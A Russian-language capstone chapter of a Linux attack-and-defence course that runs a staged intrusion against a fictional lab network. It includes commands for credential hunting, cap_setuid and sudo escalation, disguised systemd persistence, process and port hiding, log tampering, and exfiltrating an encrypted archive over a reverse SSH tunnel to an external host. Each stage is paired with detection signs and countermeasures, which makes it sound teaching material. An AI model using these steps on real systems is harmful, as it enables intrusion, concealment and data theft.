«Северный узел: Нулевой день» — итоговая операция
Девять предыдущих тем дали набор приёмов: перехват библиотек, разбор артефактов, эскалация через capabilities, локальные эксплойты, закрепление через systemd и cron, тамперинг загрузчика, сокрытие процессов и трафика, работа с eBPF и прямыми системными вызовами, чтение чужой памяти. По отдельности каждый приём — техника. Вместе они образуют операцию, и операция отличается от набора техник тремя вещами: порядком, контролем и следами.
Порядок важен потому, что каждый следующий шаг опирается на предыдущий: нельзя закрепиться, не получив root; нельзя скрыть процесс, не поняв, какие интерфейсы его показывают; нельзя вынести данные, не имея канала. Контроль важен потому, что операция без контрольных точек превращается в цепочку догадок: шаг считается выполненным только тогда, когда проверен результат, а не когда команда отработала без ошибки. Следы важны потому, что операция оценивается не по тому, что удалось сделать, а по тому, что осталось после.
Эта тема — не новая техника, а сборка. Сквозной сценарий разворачивается в учебной инфраструктуре «Северный узел»: бастион, целевой сервер приложений, узел мониторинга и внешний сервер, который атакующий использует как точку выноса. Все адреса — документационные (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24), домены — nsu.example, данные — вымышленные.
Изложение идёт по этапам. Для каждого этапа описано, что делает атакующий, какая контрольная точка подтверждает успех, что в этот момент видит защитник и какая настройка ломает этап. В конце — матрица обнаружения, структура отчёта и разбор «как бы это поймали». Материал опирается на предыдущие темы и не повторяет их механику: там, где нужна глубина, даётся ссылка.
Инфраструктура и пути показаны на рисунке 1. Классификация этапов соответствует тактикам MITRE ATT&CK: Initial Access, Discovery, Privilege Escalation, Persistence, Defense Evasion, Exfiltration 3.
Рамка операции
Инфраструктура и роли
| Узел | Адрес | Роль | Что на нём |
|---|---|---|---|
jump.nsu.example | 192.0.2.10 | бастион | SSH, вход во внутреннюю сеть |
app.nsu.example | 192.0.2.20 | цель | Ubuntu 24.04, systemd, сервис приложений |
monitor.nsu.example | 192.0.2.30 | наблюдение | journald, auditd, eBPF-трейсер |
| внешний сервер | 203.0.113.10 | точка выноса | SSH-сервер, DNS-сервер |
| рабочая станция | 198.51.100.10 | атакующий | терминал, инструменты |
Цель операции — получить устойчивый доступ к app.nsu.example, подтвердить права root, закрепиться так, чтобы доступ пережил перезагрузку, и вынести учебный файл, не оставив следов, которые видны штатным утилитам. Отдельная цель — не быть обнаруженным eBPF-трейсером, который стоит на узле мониторинга.
Что считается успехом
Успех описывается не эмоцией, а списком проверяемых утверждений:
- Доступ к
app.nsu.exampleполучен под непривилегированной учётной записью. - Найден и подтверждён вектор повышения прав до root.
- Создана точка закрепления, переживающая перезагрузку.
- Процесс и слушающий порт не видны
ps,ssиls /procпри обычном вызове. - Учебный файл вынесен на внешний сервер.
- Для каждого шага известен хотя бы один независимый признак, который он оставил.
Шестой пункт — не формальность. Операция, после которой нельзя ответить «что именно нас выдало», считается незавершённой: защитник найдёт след раньше, чем атакующий поймёт, что его ищут.
Контрольные точки и журнал
Каждый этап завершается контрольной точкой. Если она не пройдена, следующий этап не начинается: сначала разбор.
| Точка | После этапа | Проверка |
|---|---|---|
| К1 | доступ | id, whoami, last на целевом хосте |
| К2 | разведка | список найденных векторов с приоритетами |
| К3 | эскалация | id -u = 0, чтение /etc/shadow |
| К4 | закрепление | перезагрузка и повторный вход без действий атакующего |
| К5 | сокрытие | ps, ss, ls /proc не показывают объект |
| К6 | вынос | файл на внешнем сервере, хеш совпадает |
Журнал операции ведётся с самого начала: время, команда, результат, что изменилось в системе. Без журнала невозможно ни отчитаться, ни разобрать, где операция оставила лишний след. Требования к полноте и порядку фиксации событий при разборе инцидента описаны в криминалистической методике 4.
Этап 0. Первичный доступ
Разведка снаружи
Внешняя разведка ограничена: видны только бастион и, возможно, веб-сервис. Проверяются открытые порты, версии SSH, баннеры, DNS-записи. Ничего экзотического: цель — понять, куда входить, а не найти уязвимость в первые пять минут.
nmap -Pn -sT -p22,80,443 192.0.2.10 192.0.2.20
dig +short app.nsu.example
Дальше — попытка входа по ключу, который «нашёлся» в учебной истории пользователя. Механика поиска артефактов и работа с агентом SSH разобраны в теме 2 6. В реальной операции ключ добывается иначе (тема 2), но механика входа та же: ssh -i key user@app.nsu.example.
Вход и первый след
Любой вход по SSH оставляет запись в трёх местах: в журнале sshd на целевом хосте, в wtmp (успешный вход) и на бастионе, если вход шёл через него. Запись содержит пользователя, адрес источника, отпечаток ключа и время.
Accepted publickey for deploy from 198.51.100.10 port 51234 ssh2: ED25519 SHA256:...
С точки зрения защитника это первый и самый надёжный признак: новый адрес, новый ключ, необычное время. С точки зрения атакующего — первый след, который придётся объяснять. Убрать его из локальных журналов можно (тема 6), но на бастионе и на узле мониторинга останется копия.
Что видит защитник
auth.log/journalctl -u ssh: успешный вход, адрес, ключ;last/wtmp: сессия;- сетевые логи бастиона: соединение с рабочей станции;
- аномалия: пользователь, который обычно входит с другого адреса.
Этап 1. Разведка на хосте
Сбор
На хосте разведка отвечает на четыре вопроса: кто я, что мне разрешено, что запущено и что можно использовать. Минимальный набор:
id; sudo -l; getcap -r / 2>/dev/null; find / -perm -4000 -type f 2>/dev/null
systemctl list-timers --all --no-pager; systemctl list-unit-files --state=enabled
cat /etc/crontab; ls -la /etc/cron.d /var/spool/cron/crontabs 2>/dev/null
mount | grep -E 'nosuid|noexec'; uname -a; cat /etc/os-release
Каждый пункт — не просто команда, а вопрос. sudo -l показывает, какие команды разрешены без пароля; getcap — какие бинарники получили capabilities; find -perm -4000 — SUID-биты. Ответы складываются в таблицу векторов.
Скрипт инвентаризации
Разведка вручную занимает время и оставляет много следов. Компактный скрипт делает то же самое одним запуском:
#!/bin/sh
# inventory.sh — минимальная инвентаризация хоста
set -eu
echo "== whoami =="; id
echo "== sudo =="; sudo -n -l 2>/dev/null || echo 'нет или нужен пароль'
echo "== capabilities =="; getcap -r / 2>/dev/null || true
echo "== suid =="; find / -xdev -perm -4000 -type f 2>/dev/null
echo "== units =="; systemctl list-units --type=service --state=running --no-pager
echo "== timers =="; systemctl list-timers --all --no-pager
echo "== cron =="; ls -la /etc/cron.d /etc/cron.daily 2>/dev/null
echo "== kernel =="; uname -r
Скрипт шумит: find / читает каталоги, getcap обходит файловую систему, systemctl обращается к D-Bus. Шум виден в auditd и в eBPF. Уменьшить его можно, ограничив обход (-xdev, конкретные каталоги) и выполняя команды по одной, а не одним пакетом.
Поиск секретов в конфигурации
Разведка не заканчивается правами. На хосте почти всегда есть файлы, которые содержат то, что не должно быть доступно: токены в ~/.netrc, пароли в EnvironmentFile, ключи в ~/.ssh, учётные данные в .git-credentials, строки подключения в конфигурациях приложений. Поиск идёт по именам и по содержимому:
grep -RIl --exclude-dir=.git -E 'password|passwd|secret|token|api_key' /etc /opt /home 2>/dev/null | head -20
find /home /opt -maxdepth 3 \( -name '.netrc' -o -name '.git-credentials' -o -name 'id_*' \) 2>/dev/null
Это шумная операция: grep -R читает много файлов и оставляет следы в auditd на openat. Тише — читать конкретные файлы, о существовании которых известно из конфигурации сервисов (systemctl cat, EnvironmentFile=).
Что видит защитник
auditd:execveдляfind,getcap,systemctl,sudo;- eBPF: те же вызовы на уровне ядра, независимо от того, как они сделаны;
journalctl: обращения к D-Bus и кsystemctl;- аномалия: пользователь, который никогда не запускал
getcap, запускает его ночью.
Этап 2. Эскалация
Выбор вектора
Из инвентаризации выбирается вектор с наименьшим шумом и наибольшей надёжностью. В учебном сценарии на хосте оказывается бинарник с cap_setuid — этого достаточно. Альтернативы: ошибка в sudoers, SUID-бинарник из GTFOBins, уязвимость ядра. Механика каждого разобрана в темах 3 и 4; здесь важна последовательность. Модель прав и capabilities на уровне ядра описана в литературе 7.
getcap -r / 2>/dev/null
/usr/local/bin/backup-tool cap_setuid=ep
Эксплуатация и подтверждение
cap_setuid на интерпретаторе или на программе, которая позволяет выполнить код, даёт смену uid. Подтверждение — не «команда не выдала ошибку», а конкретная проверка:
/usr/local/bin/backup-tool --exec 'id -u'
0
После этого — чтение /etc/shadow как доказательство, что права реальные, а не иллюзия:
head -1 /etc/shadow
Если вектор не сработал, он фиксируется в журнале как неудачный и выбирается следующий. Пробовать всё подряд — шум, который сводит на нет этап сокрытия.
Альтернативы: sudo и локальный эксплойт
cap_setuid — удобный, но не единственный вектор. Ошибка в sudoers встречается чаще, чем кажется: разрешение на vim, less, find, tar без пароля превращается в root через GTFOBins (тема 3). Проверка:
sudo -n -l
User deploy may run the following commands on app:
(root) NOPASSWD: /usr/bin/vim
Дальше — sudo vim -c ':!sh'. Это грубый, шумный, но работающий путь. Третий вариант — локальный эксплойт ядра (тема 4); он применяется, когда первые два недоступны, и требует снапшота ВМ, потому что неудачная попытка может уронить машину.
Выбор вектора — компромисс между шумом, надёжностью и последствиями. В учебной операции cap_setuid выбран потому, что он не роняет систему и оставляет один понятный след в auditd.
Что видит защитник
auditd:execveбинарника с capabilities,setuid, чтение/etc/shadow;journalctl:sudo-события, если вектор шёл черезsudo;- eBPF:
sys_enter_setuidиsys_enter_openatдля/etc/shadow; - аномалия: процесс с capabilities, который обычно не запускается.
Этап 3. Закрепление
Таймер и linger
Первая точка закрепления — пользовательский таймер с linger. Она не требует root и переживает выход из сессии. Механика — в теме 5; здесь важна маскировка: формат юнитов и таймеров документирован в systemd 2, а администрирование служб — в руководстве 5. имя юнита, описание и путь должны выглядеть штатно.
# ~/.config/systemd/user/telemetry-sync.service
[Unit]
Description=Telemetry Sync Worker
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'date -Is >> %h/.local/share/telemetry-sync.log'
[Install]
WantedBy=default.target
# ~/.config/systemd/user/telemetry-sync.timer
[Unit]
Description=Telemetry Sync Schedule
[Timer]
OnBootSec=2min
OnUnitActiveSec=15min
RandomizedDelaySec=30
Persistent=true
[Install]
WantedBy=timers.target
systemctl --user daemon-reload
systemctl --user enable --now telemetry-sync.timer
sudo loginctl enable-linger deploy
Контрольная точка К4: перезагрузка и проверка, что таймер сработал без входа. systemctl --user list-timers после перезагрузки покажет следующий запуск.
Хук initramfs
Вторая точка — уровень загрузки (тема 6). Хук в /etc/initramfs-tools/scripts/init-premount выполняется до монтирования корня и не виден в journalctl. Для учебной операции достаточно хука, который пишет маркер в /dev/kmsg при определённом параметре ядра, — он демонстрирует уровень, не ломая загрузку.
#!/bin/sh
# /etc/initramfs-tools/scripts/init-premount/zz-probe
set -eu
case "$(cat /proc/cmdline)" in
*probe=1*) echo 'probe: initramfs stage' > /dev/kmsg ;;
esac
sudo install -m 0755 zz-probe /etc/initramfs-tools/scripts/init-premount/zz-probe
sudo update-initramfs -u -k all
Хук в образе — правка, которая исчезнет при обновлении ядра. Для живучести его кладут в /etc/kernel/postinst.d/ (тема 6). Это уже вторая точка, независимая от таймера: если одну найдут, вторая останется.
Маскировка под штатный сервис
Точка закрепления редко выдаёт себя именем. Маскировка — это набор мелких решений, каждое из которых по отдельности ничего не значит: имя юнита из слов, встречающихся в системных (sync, telemetry, updates, metrics), описание, совпадающее с поведением, путь в /usr/local/libexec или /opt, отсутствие ExecStartPre с подозрительной командой, Restart=always и RestartSec в разумных пределах.
Что выдаёт подделку, описано в теме 5: несоответствие dpkg -S, свежий mtime, путь вне /usr/bin, процессы в cgroup, не соответствующие описанию. В операции маскировка применяется не для того, чтобы обмануть внимательного защитника навсегда, а чтобы выиграть время до первого автоматического обхода.
Резервный канал
Третья точка — ключ в authorized_keys пользователя, который редко входит. Она шумная (файл проверяется защитниками в первую очередь), но полезна как резерв, если таймер и хук будут удалены. В учебной операции достаточно двух точек; третья добавляется, если по условиям задачи нужен «доступ после полной зачистки».
Что видит защитник
systemctl --user list-timers,loginctl show-user -p Linger;lsinitramfsи хеш/boot/initrd.img-*(тема 6);auditdна/etc/systemd,/var/lib/systemd/linger,/etc/initramfs-tools;- аномалия: linger у обычного пользователя, новый таймер с нестандартным расписанием.
Этап 4. Сокрытие
Процесс
Сокрытие процесса начинается с вопроса: от кого скрываем? От ps, от ls /proc, от systemd-cgls или от всего сразу. User-mode перехват (тема 7) закрывает первый слой и не закрывает остальные. Устройство procfs и системных вызовов описано в документации ядра 8 и у Керриска 1. В операции он используется вместе с прямыми системными вызовами (тема 8), чтобы не оставлять библиотеку в maps.
/* фрагмент: перехват readdir, скрывающий процесс по comm */
while ((e = real(dirp)) != NULL) {
if (is_pid(e->d_name) && is_hidden(e->d_name))
continue;
return e;
}
Границы приёма известны: статические утилиты, прямой getdents64, cgroup.procs, auditd и eBPF видят процесс независимо. Поэтому сокрытие — это не «процесса нет», а «процесс не виден привычным инструментам».
Порт
Слушающий порт скрывается переносом на 127.0.0.1 и правилом REDIRECT (тема 7). Снаружи виден только порт, который выглядит штатно; ss показывает внутренний, если смотреть на хосте.
iptables -t nat -A OUTPUT -p tcp --dport 8080 -j REDIRECT --to-port 2222
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j REDIRECT --to-port 2222
Что делать с eBPF-трейсером
На monitor.nsu.example стоит eBPF-трейсер, который видит системные вызовы на уровне ядра. Перехват библиотек от него не спасает: вызов всё равно уходит в ядро. Единственный способ не попасть в трейс — не делать вызовов, которые он отслеживает, или делать их в контексте, который неотличим от штатного.
Практические приёмы:
- меньше вызовов: один
execveскрипта вместо десяти утилит; чтение файла однимreadвместоgrep -R; - штатные имена: запуск из пути, который уже встречается в системе, с аргументами, похожими на обычные;
- разнесение по времени: операции не в одну секунду, а в разные окна;
- использование уже запущенных процессов: инъекция в существующий сервис (тема 9) не создаёт нового
execve.
Прямой системный вызов (тема 8) обходит LD_PRELOAD, но не обходит sys_enter_* в eBPF. Это важно понимать: «обход EDR» в Linux — это не один приём, а работа с тем, какие именно события собирает конкретный трейсер.
Логи
Чистка логов — самый шумный этап. sed -i по auth.log, utmpdump по wtmp, journalctl --vacuum-time оставляют следы в метаданных, в auditd и в резервных копиях. В учебной операции достаточно удалить одну запись из wtmp в копии и показать, что ctime и journalctl её выдают (тема 6). Полная зачистка не выполняется: она бессмысленна, если журналы уходят на узел мониторинга.
Что видит защитник
- расхождение
psи прямого обхода/proc; ssиconntrackдля порта;auditdнаptrace,bind,connect;journalctl --verifyи__SEQNUMдля журнала;TracerPid,maps,environдля процесса.
Этап 5. Эксфильтрация
Дамп sshd
Самый ценный объект на хосте — память sshd: ключи хоста и сессий (тема 9). Чтение требует прав и разрешения Yama; в учебной операции используется учебный сервис, а не настоящий sshd, чтобы не трогать системные ключи.
pid=$(pgrep -f './target_service' | head -1)
python3 dump_inspect.py "$pid"
Канал ssh -R
Обратный туннель не открывает внешних портов на цели (тема 7):
ssh -N -R 8080:127.0.0.1:2222 deploy@203.0.113.10
Снаружи видно исходящее SSH-соединение, процесс ssh -N и слушатель на 127.0.0.1:2222. На внешнем сервере — входящее соединение и порт 8080.
Подготовка данных
Перед выносом данные упаковываются: tar с -C, gzip или zstd, при необходимости — разбиение на части и кодирование в Base64 для каналов, которые не любят двоичные данные. Хеш считается до и после, чтобы подтвердить целостность.
tar -czf - -C /home/deploy loot | openssl enc -aes-256-cbc -pbkdf2 -pass pass:учебный > /tmp/loot.enc
sha256sum /tmp/loot.enc
split -b 32k /tmp/loot.enc /tmp/loot.part.
Размер частей выбирается под канал: для DNS — сотни байт, для SSH-туннеля — десятки килобайт. Шифрование не делает вынос незаметным: объём и направление трафика видны в flow-логах независимо от содержимого.
DNS-канал
Если исходящие соединения ограничены, остаётся DNS (тема 7). В учебной операции достаточно передать небольшой файл в поддоменах и показать, как это выглядит в логах DNS-сервера: длинные метки, высокая частота, необычные типы записей.
Что видит защитник
conntrackна обеих сторонах;journalctl -u sshна цели,journalctl -u sshdна внешнем сервере;- DNS-логи: аномальные запросы;
- flow-логи шлюза: объём и направление.
Синяя сторона: восстановление картины
Источники и корреляция
Ни один источник не даёт полной картины. Полная картина собирается из нескольких, и главный инструмент — время. Одна операция оставляет следы в auth.log, auditd, journald, conntrack и DNS-логах; они должны сойтись по времени и по субъекту.
| Источник | Что даёт | Слабое место |
|---|---|---|
journald | службы, SSH, systemd | можно очистить локально |
wtmp/btmp | сессии и неудачные входы | бинарный формат, правится utmpdump |
auditd | execve, ptrace, bind, файлы | требует настройки, много шума |
| eBPF | системные вызовы на уровне ядра | требует инструментов и навыка |
conntrack | соединения | короткое время жизни |
| DNS-логи | запросы | только если есть DNS-сервер |
| резервные копии | всё вышеперечисленное | задержка, но независимость |
Временная шкала операции показана на рисунке 2.
Построение временной шкалы
Корреляция начинается с приведения времени к одному поясу и формату. journalctl умеет -o short-iso, auditd — ausearch -i, last — -F. Дальше события складываются в один файл и сортируются:
journalctl --since '2026-10-19 00:00' --until '2026-10-20 00:00' -o short-iso --no-pager > /tmp/timeline.txt
sudo ausearch -i --start '2026-10-19 00:00:00' --end '2026-10-20 00:00:00' >> /tmp/timeline.txt
last -F >> /tmp/timeline.txt
sort -k1,2 /tmp/timeline.txt | head -50
Простой скрипт, который выделяет подозрительные события:
#!/usr/bin/env python3
"""Выделяет из журнала события, связанные с указанным пользователем."""
import re
import sys
user = sys.argv[1] if len(sys.argv) > 1 else "deploy"
patterns = [
rf"{user}",
r"sudo",
r"ptrace",
r"setuid",
r"/etc/shadow",
r"systemd.*(start|enable)",
]
with open("/tmp/timeline.txt", errors="replace") as fh:
for line in fh:
if any(re.search(p, line) for p in patterns):
print(line.rstrip())
Скрипт — не детектор, а фильтр: он убирает шум и оставляет строки, которые человек прочитает глазами. Автоматические правила дают ложные срабатывания, и на учебной операции это нормально: цель — научиться читать шкалу, а не настроить SIEM.
Матрица обнаружения по этапам
| Этап | Действие | Признак | Контрмера |
|---|---|---|---|
| 0 | вход по ключу | новый адрес и ключ в sshd | оповещение о входе с нового адреса |
| 0 | вход через бастион | цепочка сессий на бастионе | обязательный аудит бастиона |
| 1 | инвентаризация | execve find, getcap, systemctl | auditd на execve, eBPF |
| 2 | cap_setuid | setuid и чтение /etc/shadow | минимальные capabilities, nosuid |
| 2 | LPE | dmesg, аномальные mmap/write | KSPP, kptr_restrict, LKRG |
| 3 | таймер и linger | новый юнит, linger | аудит /etc/systemd, /var/lib/systemd/linger |
| 3 | initramfs | хеш /boot/initrd.img-* изменился | эталон хешей, подпись образа |
| 4 | перехват readdir | библиотека в maps, LD_PRELOAD | сравнение ps с прямым обходом |
| 4 | REDIRECT | правила nat, conntrack | контрольные суммы iptables-save |
| 4 | чистка логов | __SEQNUM, ctime, journalctl --verify | внешний журнал, Seal=yes |
| 5 | ssh -R | исходящее SSH, процесс ssh -N | AllowTcpForwarding no |
| 5 | DNS-туннель | аномальные запросы | DNS-фильтрация и лимиты |
Что ломает каждый этап
- 0: обязательный второй фактор и запрет входа по ключу с новых адресов без подтверждения.
- 1:
auditdнаexecveи eBPF-трейсер, который видит вызовы независимо от библиотек. - 2: минимальные capabilities,
NoNewPrivileges,nosuidна разделах, своевременные обновления ядра. - 3: контроль хешей
/boot, аудит конфигурации systemd, запрет linger для обычных пользователей. - 4: сравнение нескольких интерфейсов видимости, внешний журнал,
hidepid=2. - 5:
AllowTcpForwarding no,GatewayPorts no, DNS-фильтрация, контроль исходящих соединений.
Отчёт операции
Структура отчёта
Отчёт — не рассказ, а документ, по которому можно воспроизвести проверку. Минимальная структура:
1. Рамка: цель, инфраструктура, ограничения, время начала и конца.
2. Этапы: для каждого — что сделано, чем подтверждено, что изменено в системе.
3. Контрольные точки: пройдены или нет, с доказательством.
4. Следы: для каждого этапа — источник, запись, время.
5. Что не сработало: векторы, которые проверены и отвергнуты.
6. Выводы: какие настройки сработали, какие нет, что менять.
Пример заполнения
Фрагмент отчёта по этапу эскалации — так, чтобы его можно было проверить:
| Поле | Значение |
|---|---|
| Время | 2026-10-19 22:14:03 MSK |
| Действие | запуск /usr/local/bin/backup-tool --exec 'id -u' |
| Результат | 0 |
| Доказательство | head -1 /etc/shadow вернул строку root:*:... |
| Изменено в системе | ничего, права получены в рамках процесса |
| След | auditd: execve с euid=1000, затем setuid(0); openat /etc/shadow |
| Обнаруживается | правилом на чтение /etc/shadow; eBPF-трейсером по sys_enter_setuid |
Такой фрагмент отвечает на все вопросы сразу: что сделано, чем подтверждено, что осталось. Отчёт из десятка таких фрагментов читается быстрее, чем связный текст на десять страниц.
Ограничения учебного сценария
Сценарий учебный, и это накладывает ограничения, которые нужно назвать честно. Во-первых, все узлы — виртуальные машины или пространства имён, а не реальная инфраструктура; сетевые задержки, шум и человеческий фактор в них не воспроизводятся. Во-вторых, eBPF-трейсер на monitor.nsu.example упрощён: он показывает принцип, а не полный набор правил промышленной системы. В-третьих, учебный сервис разрешает отладку через PR_SET_PTRACER_ANY, иначе часть этапов была бы невозможна при ptrace_scope=1.
Эти ограничения не отменяют выводов: механика приёмов и механика обнаружения от них не зависят. Но переносить оценки «сколько времени займёт обнаружение» с учебного стенда на реальную инфраструктуру нельзя.
Разбор «как бы это поймали»
Хороший разбор отвечает не на вопрос «заметили ли нас», а на вопрос «что именно и в какой момент». Для учебной операции:
- Вход:
auth.logпоказывает новый адрес в T0; защитник, у которого есть правило на новые адреса, узнаёт об операции в первые минуты. - Разведка:
auditdфиксируетgetcapиfindв T1; eBPF видит те же вызовы, даже еслиauditdотключён. - Эскалация:
setuidи чтение/etc/shadowв T2 — самый явный признак; правило на чтениеshadowсрабатывает сразу. - Закрепление: новый таймер и linger в T3; аудит
/etc/systemdи/var/lib/systemd/lingerловит их при создании, а не при срабатывании. - Сокрытие: расхождение
psи прямого обхода/procв T4; перехват виден поmapsиenviron. - Вынос: исходящее SSH в T5;
conntrackи flow-логи показывают соединение, даже если процесс скрыт.
Вывод: каждый этап имеет независимый признак, и защитник, у которого настроены все шесть источников, обнаруживает операцию на этапе 0 или 1. Атакующий, который хочет пройти дальше, вынужден либо снижать шум (медленнее, дороже), либо ломать источники (что само по себе заметно).
Типичные провалы операции
Операция проваливается не на сложных приёмах, а на простых вещах. Пять самых частых:
- Шум на разведке.
find /иgrep -Rпо всей файловой системе занимают минуты и оставляют тысячи событий вauditd. Защитник видит аномалию раньше, чем атакующий находит вектор. - Один канал закрепления. Таймер удалён — доступа нет. Вторая точка (хук, ключ) должна быть независимой по механизму, а не по имени.
- Проверка без доказательства. Команда отработала без ошибки, но
id -uне проверен. Дальше строится цепочка на ложном основании. - Следы в метаданных. Удалённая запись из
wtmpоставилаctimeкаталога и расхождение сjournalctl. Логи чистятся, а метаданные — нет. - Забытый канал. После операции остаётся исходящее SSH-соединение, которое живёт сутками и видно в
conntrack. Канал надо закрывать сразу после выноса.
Разбор каждого провала полезнее, чем разбор успеха: успех подтверждает, что приём работает, провал показывает, где именно модель мира разошлась с реальностью.
Итоги курса
Апокрифы начались с окружения и LD_PRELOAD, а закончились операцией, в которой каждый приём занял своё место. Общая логика курса: у любого действия в Linux есть несколько интерфейсов видимости, и полное сокрытие требует контроля над всеми. Перехват библиотеки закрывает один интерфейс, прямой системный вызов — другой, модуль ядра — третий, но и они оставляют следы в журналах, метриках и на соседних узлах.
Второй вывод: закрепление и сокрытие — разные задачи, и решать их надо разными средствами. Таймер переживает перезагрузку, но виден в list-timers; хук initramfs не виден в journalctl, но меняет хеш /boot; перехват readdir скрывает процесс от ps, но не от cgroup. Комбинировать их нужно так, чтобы обнаружение одного не раскрывало остальные.
Третий вывод: обнаружение строится на независимых источниках и корреляции по времени. Защитник, который смотрит только journalctl, проигрывает; защитник, который сверяет journalctl, auditd, eBPF, conntrack и внешний журнал, выигрывает на раннем этапе. Именно поэтому в курсе у каждой темы есть парный раздел «обнаружение и защита»: приём без контрмеры — половина знания.
Дальше — самостоятельная работа: собрать собственную лабораторию, пройти операцию по этапам, а затем разобрать её со стороны защиты по собственным логам. Курс заканчивается там, где начинается практика.
Литература
- The Linux man-pages project. — https://man7.org/linux/man-pages/
- systemd. Документация systemd.unit, systemd.service, systemd.timer, journalctl. — https://www.freedesktop.org/software/systemd/man/
- MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
- NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.
- Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
- Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
- Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
- Linux Kernel Documentation. — https://docs.kernel.org/